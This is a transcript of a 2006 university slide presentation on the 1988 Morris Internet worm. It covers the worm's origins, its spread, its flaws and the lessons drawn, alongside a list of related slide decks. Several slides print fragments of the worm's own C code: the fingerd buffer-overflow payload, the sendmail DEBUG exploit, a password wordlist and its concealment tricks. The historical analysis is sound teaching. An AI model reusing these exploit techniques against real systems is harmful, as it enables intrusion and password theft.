The Internet Worm of 1988 Svetlana V. Drachova-Strang Clemson University CPSC 681 April 25, 2006 “ There may be a virus loose on the internet “ Andy Sudduth.

Slides:



Advertisements
Similar presentations
Buffer Overflows Nick Feamster CS 6262 Spring 2009 (credit to Vitaly S. from UT for slides)
Advertisements

Computer Science CSC 405Dr. Peng Ning1 CSC 405 Introduction to Computer Security Topic 3. Program Security -- Part I.
Thank you to IT Training at Indiana University Computer Malware.
C risis And A ftermath Eugene H. Spafford 발표자 : 손유민.
Communications of the ACM (CACM), Vol. 32, No. 6, June 1989
Lecture: Malicious Code CIS 3360 Ratan K. Guha. Malicious Code2 Overview and Reading Assignments Defining malicious logic Types Action by Viruses Reading.
CSE331: Introduction to Networks and Security Lecture 32 Fall 2002.
Computer Viruses and Worms* *Referred to slides by Dragan Lojpur, Zhu Fang at Florida State University.
October 15, 2002Serguei A. Mokhov, 1 UNIX Security 2: A Quick Recap SOEN321 - Information Systems Security Revision 1.3 Date: September.
Hacker, Cracker?! Are they the same? No!!! Hacker programmers intensely interested in the arcane and recondite workings of any computer operating system.
Security strategy. What is security strategy? How an organisation plans to protect and respond to security attacks on their information technology assets.
Malicious Attacks Angela Ku Adeline Li Jiyoung You Selena Yuen.
The Internet Worm Crisis and Aftermath Miyu Nakagawa Cameron Smithers Ying Han.
Lecture 11, : The Internet, Summer : The Internet Lecture 11: Secure services David O’Hallaron School of Computer Science and Department.
Chapter 7 Worms. Worms  We’ve previously discussed worms  Here, consider 2 in slightly more depth o Xerox PARC (1982) o Morris Worm (1988)  Recall.
Viruses and Spyware. What is a Virus? A virus can be defined as a computer program that can reproduce by changing other programs to include a copy of.
CSE331: Introduction to Networks and Security Lecture 33 Fall 2002.
Computer Viruses and Worms Dragan Lojpur Zhu Fang.
Chapter 6: Hostile Code Guide to Computer Network Security.
1GMS-VU : Module 2 Introduction to Information and Communication Technologies Module 2 Computer Software.
1 Chap 10 Malicious Software. 2 Viruses and ”Malicious Programs ” Computer “Viruses” and related programs have the ability to replicate themselves on.
© 2007 Cisco Systems, Inc. All rights reserved.Cisco Public ITE PC v4.0 Chapter 1 1 Basic Security Networking for Home and Small Businesses – Chapter 8.
Chapter 15: Security (Part 1). The Security Problem Security must consider external environment of the system, and protect the system resources Intruders.
13.1 Silberschatz, Galvin and Gagne ©2011 Operating System Concepts Essentials – 8 th Edition Security.
Unit 2 - Hardware Computer Security.
1 Lecture 7 Security Problems and Virus 2 Contents u How things go wrong u Change in environment u Bound and syntax checking u Convenient but dangerous.
Malware  Viruses  Virus  Worms  Trojan Horses  Spyware –Keystroke Loggers  Adware.
Cyber crime & Security Prepared by : Rughani Zarana.
CS 325: Software Engineering April 14, 2015 Software Security Security Requirements Software Security in the Life Cycle.
C HAPTER 5 General Computer Topics. 5.1 Computer Crimes Computer crime refers to any crime that involves a computer and a network. Net crime refers to.
CMSC 414 Computer (and Network) Security Lecture 14 Jonathan Katz.
 a crime committed on a computer network, esp. the Internet.
More Network Security Threats Worm = a stand-alone program that can replicate itself and spread Worms can also contain manipulation routines to perform.
ITIS 1210 Introduction to Web-Based Information Systems Chapter 45 How Hackers can Cripple the Internet and Attack Your PC How Hackers can Cripple the.
Lecture 14 Overview. Program Flaws Taxonomy of flaws: – how (genesis) – when (time) – where (location) the flaw was introduced into the system 2 CS 450/650.
Introduction of Internet security Sui Wang IS300.
1 Viruses and Worms. ECE Agenda How viruses work Virus detectors How worms work Example viruses/worms  Melissa  Morris  My_SQL Lab discussion.
Terminology Worm –A computer program that duplicates itself over computer networks. Virus –A computer program that inspects it’s environment and copies.
Your Interactive Guide to the Digital World Discovering Computers 2012.
Administrative: Objective: –Tutorial on Risks –Phoenix recovery Outline for today.
Chapter 5: General Computer Topics Department of Computer Science Foundation Year Program Umm Alqura University, Makkah Computer Skills /1436.
ITIS 1210 Introduction to Web-Based Information Systems Chapter 47 How Viruses Work.
©Ian Sommerville 2004Software Engineering Case Studies Slide 1 The Internet Worm Compromising the availability and reliability of systems through security.
Topic 5: Basic Security.
Crisis And Aftermath Eugene H. Spafford 이희범.  Introduction  How the worm operated  Aftermath Contents.
1 Security. 2 Linux is not secure No computer system can ever be "completely secure". –make it increasingly difficult for someone to compromise your system.
Programmed Threats Richard Newman. What is a Programmed Threat? Potential source of harm from computer code May be in form of - Executable program - Executable.
4061 Session 26 (4/19). Today Network security Sockets: building a server.
Keith Bower. What is Internet Security  Internet security is the protection of a computer's internet account and files from intrusion of an outside user.
A Failure to Learn from the Past Presented by Chad Frommeyer CSC 493/593 Professors Charles E. Frank/James Walden.
Introduction to UNIX CS465. What is UNIX? (1) UNIX is an Operating System (OS). An operating system is a control program that allocates the computer's.
Understand Malware LESSON Security Fundamentals.
The Internet Worm Incident Eugene H. Spafford  Attack Format –Worm vs. Virus  Attack Specifications –Worm operation –Infection and propagaion  Topics.
TANNENBAUM: 9 SECURITY (FOR THE LITTLE FUR FAMILY)
Introduction to Computer Systems. Stacks and Buflab Recitation 3 Monday September 21th, 2009.
COMPUTER VIRUSES ….! Presented by: BSCS-I Maheen Zofishan Saba Naz Numan Sheikh Javaria Munawar Aisha Fatima.
Antivirus Software Technology By Mitchell Zell. Intro  Computers are vulnerable to attack  Most common type of attack is Malware  Short for malicious.
@Yuan Xue Worm Attack Yuan Xue Fall 2012.
The Internet Worm Compromising the availability and reliability of systems through security failure.
Discovering Computers 2012: Chapter 8
3.6 Fundamentals of cyber security
Chapter 2: System Structures
Viruses and Other Malicious Content
WHAT IS A VIRUS? A Computer Virus is a computer program that can copy itself and infect a computer A Computer Virus is a computer program that can copy.
Chap 10 Malicious Software.
Internet Worms, SYN DOS attack
Chap 10 Malicious Software.
Crisis and Aftermath Morris worm.
Chapter 14: Protection.
Presentation transcript:

The Internet Worm of 1988 Svetlana V. Drachova-Strang Clemson University CPSC 681 April 25, 2006 “ There may be a virus loose on the internet “ Andy Sudduth of Harvard, 34 minutes after midnight, Nov. 3, 1988

Creator and His Creation  November 2nd, 1988: Robert Tappan Morris, 23-year old cs student from Cornell released a worm from MIT. Aside: son of Robert Morris, Sr. Chief Scientist at the National Computer Security Center, subdivision of NSA  The Morris worm: Consisted of several files of cleverly-written C code  Intentions: Probe the size of Internet with a self-replicating program ?  Effects: -- Internet down -- Thousands of machines disconnected from Internet -- Worm on the loose

What the worm DID NOT do:  Did not cause physical damage to computer systems.  Did not alter or destroy system or user files  Did not affect machines running OSs other than VAX or BSD Unix  Did not save or transmit the cracked passwords  Did not attempt to gain superuser access  Did not plant any trojans or timebombs  Did not attack machines that were not attached to the internet

What the worm DID:  Self-propagated through Internet infecting and reinfecting machines  Self-replicated unstoppably  Explored several vulnerabilities: fingerd, sendmail, passwords  Had flaws that made it especially destructive, and/or impaired the intended functionality  Cracked user passwords  Disguised itself by several clever means

History and Origins “Worms were good at first”:  Noble usage  1975: “tapeworm” John Brunner’s The Shockwave Rider  early 1980s: John Shoch, Jon Hupp created five worms for executing helpful tasks on the internet: billboard worm, vampire worm, etc.: “ a useful way to run distributed diagnostics”  Mishap and the first lesson learned  Conclusions We have the tools at hand to experiment with distributed computations in their fullest form: dynamically allocating resources and moving from machine to machine. Furthermore, local networks supporting relatively large numbers of hosts now provide a rich environment for this kind of experimentation. The basic worm programs described here demonstrate the ease with which these mechanisms can be explored… (J. Shoch, J. Hupp)

The Horrible Night 6:00 PM The Worm is launched 8:49 PM The Worm infects a VAX-8600 at the University of Utah 9:09 PM The Worm initiates the first attack to infect others 9:21 PM Load average on the system reaches 5 (sh be 1) 9:41 PM Load average reaches 7 10:01 PM Load average reaches 16 10:06 PM No new processes can be started. System unusable 10:20 PM System administrator kills off the worms 10:41 PM System is reinfected, load average reaches 27 10:49 PM System administrator shuts down and restarts the system 11:21 PM Reinfestation causes load average to reach 37.

fingerd Vulnerability Exploited  fingerd has a 512 char buffer  worm calls write() with 536 char + newline argument 6 words overwrite system stack including return PC, that makes a system call version of execve(“/bin/sh”) that installs the worm on the target system. char buf[536] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003 \320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"; /* Rewrite part of the stack frame */ l556 = 0x7fffe9fc;l560 = 0x7fffe8a8; l564 = 0x7fffe8bc; l568 = 0x ; l552 = 0x0001c020; #ifdef sun /* Reverse the word order for the Sun machines*/ l556 = byte_swap(l556);l560 = byte_swap(l560);l564 = byte_swap(l564); l568 = byte_swap(l568); l552 = byte_swap(l552); #endif sun write(s, buf, sizeof(buf));/* sizeof == 536 */ write(s, XS("\n"), 1); sleep(5); if (test_connection(s, s, 10)) { *fd1 = s; *fd2 = s;return 1; }

sendmail Vulnerability Exploited  TCP flaw - DEBUG flag allows to send mail to a process instead of user.  Worm sends message with DEBUG flad to a cleverly built recepient,  String sets up command deleting header, passes body to command interpreter. It will compile code that opens a connection and gets a copy of the worm #define MAIL_FROM "mail from: \n" #define MAIL_RCPT "rcpt to: \n" send_text(s, XS(MAIL_FROM)); sprintf(l548, XS(MAIL_RCPT), i, i); send_text(s, l548); send_text(s, XS("data\n")); compile_slave(host, s, saddr); send_text(s, XS("\n.\n")); send_text(s, XS("quit\n"));

Password Cracking  Exploited 2 vulnerabilities:  System: /etc/passwd file  User: weak passwords  Attack has 4 stages:  0: seek other machines to infect from /etc/hosts.equiv and /.rhosts  1: obvious password guesses (35% success)  2: worm’s internal dictionary  3: system’s online dictionary in /usr/dict/words

Worm’s dictionary char *wds[ ] = /* 0x21a74 */ {"academia", "aerobics", "airplane", "albany", "albatross", "albert", "alex", "alexander", "algebra", "aliases", "alphabet", "amorphous", "analog", "anchor", "andromache", "animals", "answer", "anthropogenic", "anvils", "anything", "aria", "ariadne", "arrow", "arthur", "athena", "atmosphere", "aztecs", "azure", "bacchus", "bailey", "banana", "bananas", "bandit", "banks", "barber", "baritone", "bass", "bassoon", "batman", "beater", "beauty", "beethoven", "beloved", "benz", "beowulf", "berkeley", "berliner", "beryl", "beverly", "bicameral", "brenda", "brian", "bridget", "broadway", "bumbling", "burgess", "campanile", "cantor", "cardinal",... "tarragon", "taylor", "telephone", "temptation", "thailand", "tiger", "toggle", "tomato", "topography", "tortoise", "toyota", "trails", "trivial", "trombone", "tubas", "tuttle", "umesh", "unhappy", "unicorn", "unknown", "urchin", "utility", "vasant", "vertigo", "vicky", "village", "virginia", "warren", "water", "weenie", "whatnot", "whiting", "whitney", "will", "william", "williamsburg", "willie", "winston", "wisconsin", "wizard", "wombat", "woodwind", "wormwood", "yacov", "yang", "yellowstone", "yosemite", "zimmerman", 0 }; /* contained 421 words*/

Concealing Itself  Rename itself to sh, which is also the name of the Bourne shell strcpy(argv[0], XS("sh"));  Set core dump size to zero: rl.rlim_cur = 0; rl.rlim_max = 0; if (setrlimit(RLIMIT_CORE, &rl)) ;  Deleting parent process and manipulating process id  Used encryption

Oops, … The Worm Had Flaws  Major flaws in the program code:  only ≈14% chance that the worm will check if the target system has already been infected  1 in 7 chance (instead of 1 in 10,000) that listening worm will not listen for a pleasequit() signal  Used TCP socket command sendto instead of the UDP send to send 1B of data from each machine to the originating Berkely machine port  There were other flaws as well

Worm Map [from

Complex Logic of the Worm

Lessons Learned  The Morris Worm was the first worm to bring Internet down  Worm is a powerful tool capable of inflicting a lot of damage  Computer crime is punishable under the Computer Fraud and Abuse Act of  Later Mr. Morris himself stated that the incident “has raised the public awareness to a considerable degree”. [R H Morris, quoted in the New York Times 11/5/88].  System administrators increased their efforts in protecting their systems